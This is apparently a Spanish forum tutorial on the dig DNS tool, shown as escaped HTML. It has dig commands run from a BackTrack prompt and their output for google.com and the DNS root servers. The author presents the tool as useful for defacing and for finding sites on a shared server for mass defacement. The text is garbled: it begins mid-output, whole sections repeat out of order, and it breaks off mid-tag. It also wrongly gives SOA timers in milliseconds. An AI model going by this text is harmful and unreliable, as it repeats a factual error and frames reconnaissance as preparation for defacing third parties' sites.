&lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; -x google.com&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: FORMERR, id: 36927&lt;br /&gt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;com.google.in-addr.arpa.       IN      PTR&lt;br /&gt;&lt;br /&gt;;; Query time: 3 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:35:52 2007&lt;br /&gt;;; MSG SIZE  rcvd: 41&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Numero IP en IPv6:&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt;dig google.com AAAA&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com AAAA&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 21031&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      AAAA&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;google.com.             39      IN      SOA     ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300&lt;br /&gt;&lt;br /&gt;;; Query time: 1084 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:41:20 2007&lt;br /&gt;;; MSG SIZE  rcvd: 78&lt;br /&gt;&lt;/div&gt;[/b]&lt;br /&gt;&lt;br /&gt;otra funcion que tambien les recomiendo es la de ANY, la cual nos devuelve los servidores de correo, DNS, y varios datos mas:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com ANY&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com ANY&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 65404&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 8&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      ANY&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             181     IN      A       64.233.167.99&lt;br /&gt;google.com.             181     IN      A       72.14.207.99&lt;br /&gt;google.com.             181     IN      A       64.233.187.99&lt;br /&gt;google.com.             63936   IN      NS      ns1.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns2.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns3.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns4.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp2.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp3.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp4.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp1.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns2.google.com.         345481  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345481  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345481  IN      A       216.239.38.10&lt;br /&gt;ns1.google.com.         345481  IN      A       216.239.32.10&lt;br /&gt;smtp3.google.com.       328     IN      A       64.233.183.25&lt;br /&gt;smtp4.google.com.       334     IN      A       72.14.215.25&lt;br /&gt;smtp1.google.com.       3332    IN      A       72.14.203.25&lt;br /&gt;smtp2.google.com.       322     IN      A       64.233.167.25&lt;br /&gt;&lt;br /&gt;;; Query time: 1243 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:40:52 2007&lt;br /&gt;;; MSG SIZE  rcvd: 364&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Mail del responsable y otros datos del DNS:&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com SOA&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com SOA&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 52736&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      SOA&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             86400   IN      SOA     ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300&lt;br /&gt;&lt;br /&gt;;; Query time: 2563 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:51:14 2007&lt;br /&gt;;; MSG SIZE  rcvd: 78&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;aqui el correo seria: &lt;a href="mailto:dns-admin@google.com"&gt;dns-admin@google.com&lt;/a&gt; (cambiando el "." por @), el DNS primario seria: ns1.google.com, y su ultima actualizacion fue: 2007/09/17,  el TTL (Time to a live) es de 300, el tiempo de espera para actualizacion de los DNS's secundarios (con respecto al primario) es de: 7200, el tiempo de reintento (cuando hay error al conectar con DNS primario) es de: 1800, y el tiempo de caducidad (el tiempo que el servidor mantendra en cache los datos sin actualizar en caso de error de actualizacion) es de: 1209600 (si no me equivoco estos datos estan en milisegundos).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;otras funciones utiles:&lt;/b&gt;&lt;br /&gt;+nocmd&lt;br /&gt;+nocomments&lt;br /&gt;+noquestion&lt;br /&gt;+noanswer&lt;br /&gt;+noauthority&lt;br /&gt;+noadditional&lt;br /&gt;+nostats&lt;br /&gt;+noall&lt;br /&gt;&lt;br /&gt;Su funcion es logica, y son utiles cuando queremos resumir las respuestas....Dig es una herramienta principalmente de linux, utilizada para el envio de ordenes DNS, esta herramienta es muy util hablando de defacing, y de detectar que webs estan en un server (utilizado para mass defacement), sin mas que decir comenzemos:&lt;br /&gt;&lt;br /&gt;El primer comando que es de los que mas destaca de los que utilizaremos es el siguiente:&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig ns&lt;/div&gt;&lt;br /&gt;Este comando nos devolvera una lista de super DNS, que podremos utilizar para trabajar:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; ns&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 4874&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;.                              IN      NS&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;.                       234977  IN      NS      L.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      M.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      A.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      B.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      C.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      D.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      E.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      F.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      G.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      H.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      I.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      J.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      K.ROOT-SERVERS.NET.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;M.ROOT-SERVERS.NET.     30938   IN      A       202.12.27.33&lt;br /&gt;A.ROOT-SERVERS.NET.     591011  IN      A       198.41.0.4&lt;br /&gt;B.ROOT-SERVERS.NET.     30938   IN      A       192.228.79.201&lt;br /&gt;C.ROOT-SERVERS.NET.     39988   IN      A       192.33.4.12&lt;br /&gt;D.ROOT-SERVERS.NET.     53749   IN      A       128.8.10.90&lt;br /&gt;E.ROOT-SERVERS.NET.     30938   IN      A       192.203.230.10&lt;br /&gt;F.ROOT-SERVERS.NET.     591011  IN      A       192.5.5.241&lt;br /&gt;G.ROOT-SERVERS.NET.     53680   IN      A       192.112.36.4&lt;br /&gt;H.ROOT-SERVERS.NET.     30939   IN      A       128.63.2.53&lt;br /&gt;I.ROOT-SERVERS.NET.     40043   IN      A       192.36.148.17&lt;br /&gt;J.ROOT-SERVERS.NET.     591011  IN      A       192.58.128.30&lt;br /&gt;K.ROOT-SERVERS.NET.     591011  IN      A       193.0.14.129&lt;br /&gt;L.ROOT-SERVERS.NET.     30938   IN      A       198.32.64.12&lt;br /&gt;&lt;br /&gt;;; Query time: 383 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:09:15 2007&lt;br /&gt;;; MSG SIZE  rcvd: 436&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size: 15pt; line-height: 1.3em;"&gt;&lt;b&gt;&lt;br /&gt;Algunas funciones de dig:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;Tracer:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig web.com +trace&lt;/div&gt;Bueno creo que es logico lo que hace.....&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Resolver DNS de una web:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig web.com NS&lt;/div&gt;&lt;br /&gt;Esto nos devuelve la lista de los servidores DNS de determinada web.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ejemplo:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com NS&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com NS&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 27071&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      NS&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             64768   IN      NS      ns1.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns2.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns3.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns2.google.com.         345450  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345450  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345450  IN      A       216.239.38.10&lt;br /&gt;ns1.google.com.         345450  IN      A       216.239.32.10&lt;br /&gt;&lt;br /&gt;;; Query time: 276 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:26:59 2007&lt;br /&gt;;; MSG SIZE  rcvd: 164&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Listar Servidores de Correo de determinado dominio:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com MX&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com MX&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 35446&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      MX&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             4237    IN      MX      10 smtp1.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp2.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp3.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;smtp2.google.com.       1054    IN      A       64.233.167.25&lt;br /&gt;smtp3.google.com.       1060    IN      A       64.233.183.25&lt;br /&gt;smtp4.google.com.       1066    IN      A       72.14.215.25&lt;br /&gt;smtp1.google.com.       3329    IN      A       72.14.203.25&lt;br /&gt;&lt;br /&gt;;; Query time: 583 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:28:39 2007&lt;br /&gt;;; MSG SIZE  rcvd: 180&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Consultar datos de un Dominio en determinado servidor DNS:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com @ns1.google.com&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com @ns1.google.com&lt;br /&gt;; (1 server found)&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 34414&lt;br /&gt;;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      A&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             300     IN      A       64.233.167.99&lt;br /&gt;google.com.             300     IN      A       72.14.207.99&lt;br /&gt;google.com.             300     IN      A       64.233.187.99&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;google.com.             345600  IN      NS      ns1.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns2.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns3.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns1.google.com.         345600  IN      A       216.239.32.10&lt;br /&gt;ns2.google.com.         345600  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345600  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345600  IN      A       216.239.38.10&lt;br /&gt;&lt;br /&gt;;; Query time: 1124 msec&lt;br /&gt;;; SERVER: 216.239.32.10#53(216.239.32.10)&lt;br /&gt;;; WHEN: Tue Sep 25 20:30:38 2007&lt;br /&gt;;; MSG SIZE  rcvd: 212&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;DNS Inverso:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig -x google.com&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; -x google.com&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: FORMERR, id: 36927&lt;br /&gt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;com.google.in-addr.arpa.       IN      PTR&lt;br /&gt;&lt;br /&gt;;; Query time: 3 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:35:52 2007&lt;br /&gt;;; MSG SIZE  rcvd: 41&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Numero IP en IPv6:&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt;dig google.com AAAA&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com AAAA&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 21031&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      AAAA&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;google.com.             39      IN      SOA     ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300&lt;br /&gt;&lt;br /&gt;;; Query time: 1084 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:41:20 2007&lt;br /&gt;;; MSG SIZE  rcvd: 78&lt;br /&gt;&lt;/div&gt;[/b]&lt;br /&gt;&lt;br /&gt;otra funcion que tambien les recomiendo es la de ANY, la cual nos devuelve los servidores de correo, DNS, y varios datos mas:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com ANY&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com ANY&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 65404&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 8&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      ANY&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             181     IN      A       64.233.167.99&lt;br /&gt;google.com.             181     IN      A       72.14.207.99&lt;br /&gt;google.com.             181     IN      A       64.233.187.99&lt;br /&gt;google.com.             63936   IN      NS      ns1.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns2.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns3.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns4.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp2.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp3.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp4.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp1.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns2.google.com.         345481  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345481  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345481  IN      A       216.239.38.10&lt;br /&gt;ns1.google.com.         345481  IN      A       216.239.32.10&lt;br /&gt;smtp3.google.com.       328     IN      A       64.233.183.25&lt;br /&gt;smtp4.google.com.       334     IN      A       72.14.215.25&lt;br /&gt;smtp1.google.com.       3332    IN      A       72.14.203.25&lt;br /&gt;smtp2.google.com.       322     IN      A       64.233.167.25&lt;br /&gt;&lt;br /&gt;;; Query time: 1243 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:40:52 2007&lt;br /&gt;;; MSG SIZE  rcvd: 364&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Mail del responsable y otros datos del DNS:&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com SOA&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com SOA&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 52736&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      SOA&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             86400   IN      SOA     ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300&lt;br /&gt;&lt;br /&gt;;; Query time: 2563 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:51:14 2007&lt;br /&gt;;; MSG SIZE  rcvd: 78&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;aqui el correo seria: &lt;a href="mailto:dns-admin@google.com"&gt;dns-admin@google.com&lt;/a&gt; (cambiando el "." por @), el DNS primario seria: ns1.google.com, y su ultima actualizacion fue: 2007/09/17,  el TTL (Time to a live) es de 300, el tiempo de espera para actualizacion de los DNS's secundarios (con respecto al primario) es de: 7200, el tiempo de reintento (cuando hay error al conectar con DNS primario) es de: 1800, y el tiempo de caducidad (el tiempo que el servidor mantendra en cache los datos sin actualizar en caso de error de actualizacion) es de: 1209600 (si no me equivoco estos datos estan en milisegundos).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;otras funciones utiles:&lt;/b&gt;&lt;br /&gt;+nocmd&lt;br /&gt;+nocomments&lt;br /&gt;+noquestion&lt;br /&gt;+noanswer&lt;br /&gt;+noauthority&lt;br /&gt;+noadditional&lt;br /&gt;+nostats&lt;br /&gt;+noall&lt;br /&gt;&lt;br /&gt;Su funcion es logica, y son utiles cuando queremos resumir las respuestas....Dig es una herramienta principalmente de linux, utilizada para el envio de ordenes DNS, esta herramienta es muy util hablando de defacing, y de detectar que webs estan en un server (utilizado para mass defacement), sin mas que decir comenzemos:&lt;br /&gt;&lt;br /&gt;El primer comando que es de los que mas destaca de los que utilizaremos es el siguiente:&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig ns&lt;/div&gt;&lt;br /&gt;Este comando nos devolvera una lista de super DNS, que podremos utilizar para trabajar:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; ns&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 4874&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;.                              IN      NS&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;.                       234977  IN      NS      L.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      M.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      A.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      B.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      C.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      D.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      E.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      F.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      G.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      H.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      I.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      J.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      K.ROOT-SERVERS.NET.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;M.ROOT-SERVERS.NET.     30938   IN      A       202.12.27.33&lt;br /&gt;A.ROOT-SERVERS.NET.     591011  IN      A       198.41.0.4&lt;br /&gt;B.ROOT-SERVERS.NET.     30938   IN      A       192.228.79.201&lt;br /&gt;C.ROOT-SERVERS.NET.     39988   IN      A       192.33.4.12&lt;br /&gt;D.ROOT-SERVERS.NET.     53749   IN      A       128.8.10.90&lt;br /&gt;E.ROOT-SERVERS.NET.     30938   IN      A       192.203.230.10&lt;br /&gt;F.ROOT-SERVERS.NET.     591011  IN      A       192.5.5.241&lt;br /&gt;G.ROOT-SERVERS.NET.     53680   IN      A       192.112.36.4&lt;br /&gt;H.ROOT-SERVERS.NET.     30939   IN      A       128.63.2.53&lt;br /&gt;I.ROOT-SERVERS.NET.     40043   IN      A       192.36.148.17&lt;br /&gt;J.ROOT-SERVERS.NET.     591011  IN      A       192.58.128.30&lt;br /&gt;K.ROOT-SERVERS.NET.     591011  IN      A       193.0.14.129&lt;br /&gt;L.ROOT-SERVERS.NET.     30938   IN      A       198.32.64.12&lt;br /&gt;&lt;br 